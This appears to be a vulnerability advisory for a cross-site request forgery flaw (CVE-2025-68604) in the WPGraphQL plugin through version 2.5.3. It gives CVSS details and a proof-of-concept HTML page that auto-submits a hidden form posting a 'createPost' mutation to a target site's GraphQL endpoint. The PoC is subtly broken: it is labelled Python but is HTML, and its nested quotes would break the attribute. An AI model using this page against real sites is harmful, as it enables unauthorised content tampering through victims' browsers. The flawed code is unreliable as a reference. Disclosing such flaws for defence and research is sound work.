Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL allows Cross Site Request Forgery.
This issue affects WPGraphQL: from n/a through 2.5.3.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
WPGraphQL <= 2.5.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2025-68604 -->
<!-- This PoC demonstrates a CSRF attack against WPGraphQL -->
<html>
<body>
<h1>CSRF PoC</h1>
<p>Page will attempt to submit a request automatically.</p>
<form action="http://target-site.com/graphql" method="POST" id="csrf-form">
<input type="hidden" name="query" value="mutation { createPost(input: {title: "CSRF Hacked", content: "Hacked by CSRF"}) { post { id } } }" />
</form>
<script>
// Auto-submit the form to simulate the attack
document.getElementById("csrf-form").submit();
</script>
</body>
</html>